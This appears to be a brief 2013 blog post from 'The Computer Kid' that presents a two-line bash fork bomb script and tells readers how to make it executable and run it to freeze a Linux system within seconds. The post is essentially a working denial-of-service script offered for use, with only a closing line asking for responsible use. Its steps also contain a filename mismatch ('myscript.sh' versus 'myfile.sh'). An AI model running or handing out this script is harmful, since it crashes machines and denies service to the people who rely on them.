[The Computer Kid] Bash File Fork Bomb Script

[Conrad Sykes]

Fork bombs are recursive scripts that infinitely call themselves and push a system to it’s max until it ends up freezing or crashing. Creating a fork bomb script for Linux is extremely simple. Create a file called “myscript.sh” and insert the following two lines.


 #!/bin/bash
 :(){ :|:& };:

Then save this file and chmod it so that it’s executable “chmod a+x myfile.sh”. Now you can run your script by typing “./myfile.sh”. The the system you run it on will grind to a halt and completely freeze within seconds.

 Please use this knowledge responsibly.

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Posted By Conrad Sykes to The Computer Kid at 5/16/2013 01:50:00 PM